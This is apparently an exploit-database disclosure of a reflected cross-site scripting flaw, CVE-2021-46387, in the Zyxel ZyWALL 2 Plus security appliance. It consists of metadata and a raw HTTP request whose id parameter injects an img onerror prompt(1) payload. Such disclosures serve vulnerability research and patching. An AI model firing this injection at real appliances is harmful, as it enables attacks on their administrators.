[webapps] Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS)

# Exploit Title: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS) # Date: 1/3/2022 # Exploit Author: Momen Eldawakhly (CyberGuy) # Vendor Homepage: https://www.zyxel.com # Version: ZyWALL 2 Plus # Tested on: Ubuntu Linux [Firefox] # CVE : CVE-2021-46387 GET /Forms/rpAuth_1?id=%3C/form%3E%3CiMg%20src=x%20onerror=%22prompt(1)%22%3E%3Cform%3E HTTP/1.1 Host: vuln.ip:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1